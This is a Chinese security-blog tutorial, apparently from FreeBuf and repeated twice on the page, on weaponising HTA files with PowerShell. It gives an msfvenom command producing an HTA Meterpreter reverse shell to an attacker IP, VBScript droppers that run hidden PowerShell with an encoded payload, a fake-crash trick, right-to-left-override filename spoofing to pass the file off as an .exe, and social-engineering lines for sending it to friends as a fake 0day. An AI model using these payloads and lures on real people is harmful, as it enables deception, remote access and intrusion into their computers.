我有两把枪:Powershell + HTA

摘要

原创作者:LJokerP

我有两把枪:Powershell + HTA

我去前面探探路

众所周知,Powershell早已被集成到了windows的环境中,国外大牛玩得不亦乐乎,而国内圈子却很少听到讨论Powershell的,至少我身边只有一位小伙伴一起研究,HTA更不用说了,不是学计算机的或许根本不知道这是什么鬼,当然也包括那些当年计算机基础翘课的……

男女搭配干活不累; 我爸揍我、我妈踹我,混合双打; 两王在手,拆开出、当炸弹打,怕了么; 每每两强相遇,怪怪的灵感就来了; 6级惹!看我QWER滚键盘式组合技!啪!啪!啪!

金角大王 Powershell

我有两把枪:Powershell + HTA

Linux下有bash,Windows下有Powershell。Powershell依靠在.NET这个大树下,因此也有了比如直接调用windowsAPI等强大功能和利用价值。

Powershell脚本后缀名为ps1,这种格式不像bat、vbs、exe等双击执行,而是需要经由powershell.exe启动,可以直接使用:

PowerShell.exe -ExecutionPolicy Bypass -File ./script.ps1

或者直接把脚本直接输入powershell执行。

在win7和server08后,Powershell被集成在系统中,此举方便了服务器的管理,同样,过分的的强大也让自己危险了很多。

相关内容:Microsoft某个文档 / Powershell_百度百科

银角大王 HTA

我有两把枪:Powershell + HTA

hta格式,看上去一个陌生的后缀,但实际遨游网络的你天天都接触到,因为它也是网页格式的一种,类似于html/htm ,通过html语法编写内容。

HTA是HTML-Application的缩写,是软件开发的新概念,直接将某个html页面保存成hta的格式,就是一个独立的应用软件,点开与网页内容并无区别,界面与VB、C++等程序语言所设计的软件界面没什么差别,显示为窗口交互界面。

(可能大牛们hta已经玩烂了,但我还是要科普!就要!就是倔!)

相关内容:HTA_百度百科

就是个网页!不就是钓鱼嘛!用你教?

答对了,确实类似于钓鱼,但是得补充一下,HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,不但窗口界面跟其他软件相同,同时它也相应的具有类似于VB、C++编写的桌面程序的相同权限(读写文件、操作注册表等)。HTA本来就是被设计为制作桌面程序的,所以能直接调用其他组件执行命令。

总的说,HTA是个披着web外衣的exe应用程序,要是加上Powershell……嘿嘿嘿 我有两把枪:Powershell + HTA (没有挖0day的技术,就放飞你的思路。)

Powershell利用脚本可以到Github上搜搜,歪果仁们的研究已然很透彻,有很多大牛的渗透脚本可以借鉴。

跳刀躲梅肯,别笑,我要出招了

先举个栗子:hello.hta(栗子没毒,复制粘贴放心食用~)

<!--hello.hta--> <html> <head> <title>hello</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes"> </head> <body> <center> <br> <h1>Hello HTA</h1> <br> <h2>( ⊙ o ⊙ )/出来吧!计算器!</h2> <br> </center> <script language="VBScript"> Set Hello = CreateObject("Wscript.Shell") Hello.Run "calc.exe" </script> </body> </html>

我有两把枪:Powershell + HTA

虽然说也是静态页面,但hta脚本可以直接使用vbs并调用Wscript.Shell,毕竟人家是html家里的大哥大,偏应用型的脚本类型,所以说,如果把他想象成双击就能执行的“hta大马”毫不为过!(windows自带hta环境,cmd中输入 mshta 你会发现,已经集成在win环境里了,输入完并不会弹出什么,只是确定不报错就证明有这个东西,所以说白了,运行hta跟运行exe简直一样,双击即可。)在实例hello.hta中的 <HTA:> 是HTA的一些参数设置,设置详情见之前HTA相关内容链接。

已然有了HTA的完美辅助,如果加上Powershell的暴力输出呢?

答案是:你们随便选吧,我来打崩三路。

PS: 写了老久调用powershell的hta,越写越不对劲儿,干脆借鉴Github上人家写的注入ShellCode脚本,打开Matesploit准备生成Shellcode,突然发现msfvenom上原来已经有hta-psh现成的format了,省时省力,那就加以利用好了。(我凑,之前没注意到呢……)

好吧,我们来直接成一个hta-psh的回弹脚本:

msfvenom -p windows/meterpreter/reverse_tcp lhost=175.xxx.xxx.xxx lport=8081 -f hta-psh -o test.hta

(生成的脚本内容经过base64encode加密,想学习的同学可以把base64部分还原,观察编写语法。)

我有两把枪:Powershell + HTA

发给朋友试试,(各种杀毒,安全狗,老大哥型测试环境)直接弹回了一个meterpreter_shell,从点击到回弹间隔了5到6秒,估计因为调用powershell和base64处理时间(第二次貌似点开就快了些),全过程并且没有触发到杀毒,连提醒都没有,真正“开袋即食”。

原因分析:

1. HTA依赖于mshta.exe解析,而mshta.exe是系统下自带的,所以并不用免杀就能直接调用执行,不会像vbs脚本被花式吊打。 2. Powershell嘛,同理是windows的自己人,加上参数 -nop -w hidden 后,能强行绕过UAC执行命令。 3. 端口选取8081也是一个原因,因为很少有杀毒拦截常见的http端口,如 80 / 443 / 21 / 22 / 25 / 445 / 1433 / 3306 / 3389 / 8080 / 8888 等,在不占用的情况下都可加以利用。

如此生僻的格式谁会去点开?怎么利用?

答:我!我!选我!选我!:P

确实,一个hta后缀的文件,见都没见过呢,图标还是个执行文件,打开显示一个白板,十分可疑……!辣摸……这时候就要靠猴子派来的救兵辣!

So,问题来了,你知道Unicode控制符么……

Unicode控制符:控制文字显示属性,实现类似倒序显示等属性设定。而这个特点,在文件名中同样适用!就让我们用控制符给他改个名字,再把内容丰富美化一下,再结合你聪(猥)明(琐)的灵感加上少许社工的魅力,分分钟弹shell不是梦~

来,再举个栗子:deexe.hta

<title>XXX-exp</title> <center> <h1>XXX-exp: death.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35% <br> </center> <script language="VBScript">   Set Hackdo = CreateObject("Wscript.Shell")   Set Check = CreateObject("Scripting.FileSystemObject")   If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "../powershell.exe") Then     Hackdo.Run "powershell.exe -nop -w hidden calc.exe"   End If </script>

出现这样一个画面,是不是也会让人反应几秒呢~ 停!别喷了,我知道大家比我做的肯定好_(:зゝ∠)_

我有两把枪:Powershell + HTA

只要替换其中Powershell命令为:

pwershell.exe -nop -w hidden -e ...base64-ps1-payload-balabalabala...

就能按你所想执行你的命令了!

社工方面,美化可以集思广益,营造出完美的画面效果,哪怕利用控制符保存为html后缀,界面换成黑页。

“新做了个美到没朋友的黑页,来,发给你看看。”——人,所有理性事件中的感性漏洞也。

(理论上可以通过<HTA:>标签来控制图标的,不知为何测试不成功。)

如果想假装闪退效果,可以直接在脚本结尾加入执行 “taskkill /f /im mshta.exe” kill掉mshta的进程,因为shellcode是注入在powershell中执行的,只要powershell健在,session就能保持住。

<script language="VBScript">   Set Hackdo = CreateObject("Wscript.Shell")   Set Check = CreateObject("Scripting.FileSystemObject")   If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "../powershell.exe") Then     Hackdo.Run "powershell.exe -nop -w hidden calc.exe"     Hackdo.Run "taskkill /f /im mshta.exe"   End If </script>

PS: 实际渗透中,得到session后记得赶紧 migrate [another-pid] 哦~

这只是个弹计算器的脚本,大可拷贝下来实际操作一遍,拷贝,新建txt文档,打开,粘贴并保存为名称deexe.hta,右键重命名,光标放在de和exe.hta之间点击右键,选择插入Unicode控制符,点击插入RLO。

Walaaa~ 恭喜获得新名称death.exe!替换成执行msf_reverse,赶紧发给好基友试射新造的核弹!

我有两把枪:Powershell + HTA

场景模拟:

“我写了个0day,xxx-server直接秒!先发给你玩玩?”

“好呀好呀!咦?一直读取…… 咦?闪退了……”

“你删了吧!有bug! 我再改改……”

( 1… 2… 3… 弹弹弹,战个痛! 我有两把枪:Powershell + HTA )

我有两把枪,一把叫Power射,一把叫HT啊

我有两把枪:Powershell + HTA

4767字……赶上一篇小论文了……

那今天就介绍到这啦,更多新姿势改天聊!

PS: 这Coser像不像邓紫棋 (づ ̄3 ̄)づ╭❤~

*本文作者:LJokerP,本文属FreeBuf原创奖励计划,未经许可禁止转载

原创作者:LJokerP

我去前面探探路

众所周知,Powershell早已被集成到了windows的环境中,国外大牛玩得不亦乐乎,而国内圈子却很少听到讨论Powershell的,至少我身边只有一位小伙伴一起研究,HTA更不用说了,不是学计算机的或许根本不知道这是什么鬼,当然也包括那些当年计算机基础翘课的……

男女搭配干活不累; 我爸揍我、我妈踹我,混合双打; 两王在手,拆开出、当炸弹打,怕了么; 每每两强相遇,怪怪的灵感就来了; 6级惹!看我QWER滚键盘式组合技!啪!啪!啪!

金角大王 Powershell

Linux下有bash,Windows下有Powershell。Powershell依靠在.NET这个大树下,因此也有了比如直接调用windowsAPI等强大功能和利用价值。

Powershell脚本后缀名为ps1,这种格式不像bat、vbs、exe等双击执行,而是需要经由powershell.exe启动,可以直接使用:

PowerShell.exe -ExecutionPolicy Bypass -File ./script.ps1

或者直接把脚本直接输入powershell执行。

在win7和server08后,Powershell被集成在系统中,此举方便了服务器的管理,同样,过分的的强大也让自己危险了很多。

相关内容:Microsoft某个文档 / Powershell_百度百科

银角大王 HTA

hta格式,看上去一个陌生的后缀,但实际遨游网络的你天天都接触到,因为它也是网页格式的一种,类似于html/htm ,通过html语法编写内容。

HTA是HTML-Application的缩写,是软件开发的新概念,直接将某个html页面保存成hta的格式,就是一个独立的应用软件,点开与网页内容并无区别,界面与VB、C++等程序语言所设计的软件界面没什么差别,显示为窗口交互界面。

(可能大牛们hta已经玩烂了,但我还是要科普!就要!就是倔!)

相关内容:HTA_百度百科

就是个网页!不就是钓鱼嘛!用你教?

答对了,确实类似于钓鱼,但是得补充一下,HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,不但窗口界面跟其他软件相同,同时它也相应的具有类似于VB、C++编写的桌面程序的相同权限(读写文件、操作注册表等)。HTA本来就是被设计为制作桌面程序的,所以能直接调用其他组件执行命令。

总的说,HTA是个披着web外衣的exe应用程序,要是加上Powershell……嘿嘿嘿 (没有挖0day的技术,就放飞你的思路。)

Powershell利用脚本可以到Github上搜搜,歪果仁们的研究已然很透彻,有很多大牛的渗透脚本可以借鉴。

跳刀躲梅肯,别笑,我要出招了

先举个栗子:hello.hta(栗子没毒,复制粘贴放心食用~)

<!--hello.hta--> <html> <head> <title>hello</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes"> </head> <body> <center> <br> <h1>Hello HTA</h1> <br> <h2>( ⊙ o ⊙ )/出来吧!计算器!</h2> <br> </center> <script language="VBScript"> Set Hello = CreateObject("Wscript.Shell") Hello.Run "calc.exe" </script> </body> </html>

虽然说也是静态页面,但hta脚本可以直接使用vbs并调用Wscript.Shell,毕竟人家是html家里的大哥大,偏应用型的脚本类型,所以说,如果把他想象成双击就能执行的“hta大马”毫不为过!(windows自带hta环境,cmd中输入 mshta 你会发现,已经集成在win环境里了,输入完并不会弹出什么,只是确定不报错就证明有这个东西,所以说白了,运行hta跟运行exe简直一样,双击即可。)在实例hello.hta中的 <HTA:> 是HTA的一些参数设置,设置详情见之前HTA相关内容链接。

已然有了HTA的完美辅助,如果加上Powershell的暴力输出呢?

答案是:你们随便选吧,我来打崩三路。

PS: 写了老久调用powershell的hta,越写越不对劲儿,干脆借鉴Github上人家写的注入ShellCode脚本,打开Matesploit准备生成Shellcode,突然发现msfvenom上原来已经有hta-psh现成的format了,省时省力,那就加以利用好了。(我凑,之前没注意到呢……)

好吧,我们来直接成一个hta-psh的回弹脚本:

msfvenom -p windows/meterpreter/reverse_tcp lhost=175.xxx.xxx.xxx lport=8081 -f hta-psh -o test.hta

(生成的脚本内容经过base64encode加密,想学习的同学可以把base64部分还原,观察编写语法。)

发给朋友试试,(各种杀毒,安全狗,老大哥型测试环境)直接弹回了一个meterpreter_shell,从点击到回弹间隔了5到6秒,估计因为调用powershell和base64处理时间(第二次貌似点开就快了些),全过程并且没有触发到杀毒,连提醒都没有,真正“开袋即食”。

原因分析:

1. HTA依赖于mshta.exe解析,而mshta.exe是系统下自带的,所以并不用免杀就能直接调用执行,不会像vbs脚本被花式吊打。 2. Powershell嘛,同理是windows的自己人,加上参数 -nop -w hidden 后,能强行绕过UAC执行命令。 3. 端口选取8081也是一个原因,因为很少有杀毒拦截常见的http端口,如 80 / 443 / 21 / 22 / 25 / 445 / 1433 / 3306 / 3389 / 8080 / 8888 等,在不占用的情况下都可加以利用。

如此生僻的格式谁会去点开?怎么利用?

答:我!我!选我!选我!:P

确实,一个hta后缀的文件,见都没见过呢,图标还是个执行文件,打开显示一个白板,十分可疑……!辣摸……这时候就要靠猴子派来的救兵辣!

So,问题来了,你知道Unicode控制符么……

Unicode控制符:控制文字显示属性,实现类似倒序显示等属性设定。而这个特点,在文件名中同样适用!就让我们用控制符给他改个名字,再把内容丰富美化一下,再结合你聪(猥)明(琐)的灵感加上少许社工的魅力,分分钟弹shell不是梦~

来,再举个栗子:deexe.hta

<title>XXX-exp</title> <center> <h1>XXX-exp: death.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35% <br> </center> <script language="VBScript">   Set Hackdo = CreateObject("Wscript.Shell")   Set Check = CreateObject("Scripting.FileSystemObject")   If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "../powershell.exe") Then     Hackdo.Run "powershell.exe -nop -w hidden calc.exe"   End If </script>

出现这样一个画面,是不是也会让人反应几秒呢~ 停!别喷了,我知道大家比我做的肯定好_(:зゝ∠)_

只要替换其中Powershell命令为:

pwershell.exe -nop -w hidden -e ...base64-ps1-payload-balabalabala...

就能按你所想执行你的命令了!

社工方面,美化可以集思广益,营造出完美的画面效果,哪怕利用控制符保存为html后缀,界面换成黑页。

“新做了个美到没朋友的黑页,来,发给你看看。”——人,所有理性事件中的感性漏洞也。

(理论上可以通过<HTA:>标签来控制图标的,不知为何测试不成功。)

如果想假装闪退效果,可以直接在脚本结尾加入执行 “taskkill /f /im mshta.exe” kill掉mshta的进程,因为shellcode是注入在powershell中执行的,只要powershell健在,session就能保持住。

<script language="VBScript">   Set Hackdo = CreateObject("Wscript.Shell")   Set Check = CreateObject("Scripting.FileSystemObject")   If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "../powershell.exe") Then     Hackdo.Run "powershell.exe -nop -w hidden calc.exe"     Hackdo.Run "taskkill /f /im mshta.exe"   End If </script>

PS: 实际渗透中,得到session后记得赶紧 migrate [another-pid] 哦~

这只是个弹计算器的脚本,大可拷贝下来实际操作一遍,拷贝,新建txt文档,打开,粘贴并保存为名称deexe.hta,右键重命名,光标放在de和exe.hta之间点击右键,选择插入Unicode控制符,点击插入RLO。

Walaaa~ 恭喜获得新名称death.exe!替换成执行msf_reverse,赶紧发给好基友试射新造的核弹!

场景模拟:

“我写了个0day,xxx-server直接秒!先发给你玩玩?”

“好呀好呀!咦?一直读取…… 咦?闪退了……”

“你删了吧!有bug! 我再改改……”

( 1… 2… 3… 弹弹弹,战个痛! )

我有两把枪,一把叫Power射,一把叫HT啊

4767字……赶上一篇小论文了……

那今天就介绍到这啦,更多新姿势改天聊!

PS: 这Coser像不像邓紫棋 (づ ̄3 ̄)づ╭❤~

*本文作者:LJokerP,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: